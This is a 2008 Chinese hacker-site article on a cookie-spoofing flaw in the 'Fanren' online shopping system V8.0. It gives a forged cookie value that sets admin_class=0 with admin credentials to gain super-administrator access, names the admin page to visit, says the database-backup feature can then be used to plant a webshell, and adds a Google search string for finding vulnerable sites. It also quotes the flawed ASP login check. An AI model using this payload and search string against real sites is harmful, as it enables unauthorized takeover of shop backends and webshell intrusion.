您现在的位置: 骇客基地 >> 黑客文章 >> 黑客攻防 >> 黑客入侵 >> 正文

凡人网络购物系统 V8.0 简体中文版 Cookie欺骗漏洞
骇客基地 阅读: 时间:2008-3-16 2:19:08 来源:www.hookbase.com
........................ 可以看出当admin_class=0的时候就是总管理员身份了。 伪造cookie如下 Themes=default; Count=lao=3; Countecho=lao=True; ASPSESSIONIDQAADRSRB=CDBDHEHCLJOIHFDAHLFHABIO; venshop=admin%5Fclass=0&admin%5Fpass=admin&admin%5Fname=admin 然后访问http://www.target.com/ad_manage.asp即可,后台有数据库备份可以拿webshell。 inurl:"views.asp?hw_id="#google
   来源:Trace's Space 代码http://www.venshop.com/down/venshop.rar 小程序,备忘一下 ad_chk.asp判断管理员登陆状态 <% if Request.Cookies("venshop")("admin_name")="" or Request.Cookies("venshop")("admin_pass")="" or Request.Cookies("venshop")("admin_class")="" then Response.Cookies("venshop")("admin_name")="" Response.Cookies("venshop")("admin_pass")="" Response.Cookies("venshop")("admin_class")="" response.redirect "ad_login.asp" response.end end if %> 判断admin_class C:\Inetpub\wwwroot>findstr /i /n /s "admin_class" *.asp ad_admin.asp:29: rs("admin_class")=request("class1") ad_admin.asp:43:rs("admin_class")=request("class") ad_admin.asp:92: ad_admin.asp:93: ad_admin.asp:94:
今天广告
参与评论:
注意事项:
【凡人网络购物系统 V8.0 简体中文版 Cookie欺骗漏洞】文章由骇客基地网上搜集,其立场行为并不代表本站。
如果您发现该文章若无意中侵犯到您的权利,请联系我们!
未经本站明确许可,任何网站不得非法盗链及抄袭本站资源;如引用页面,请注明来自本站,谢谢您的支持!
最近更新
最新推荐
     
 
黑客首页 | 服务指南 | 软件发布  | 关于我们 | 本站声明  | 隐私声明 | 诚征英才 | 网站地图 | 友情链接 |
 
 
中国·黑客·骇客·基地 请使用IE6.0版本, 分辩率1024×768进行浏览 www.hookbase.com 站长:利客 Email:hookbase@163.com
Copyright © 2004-2009 All Rights Reserved. 粤ICP备05000985号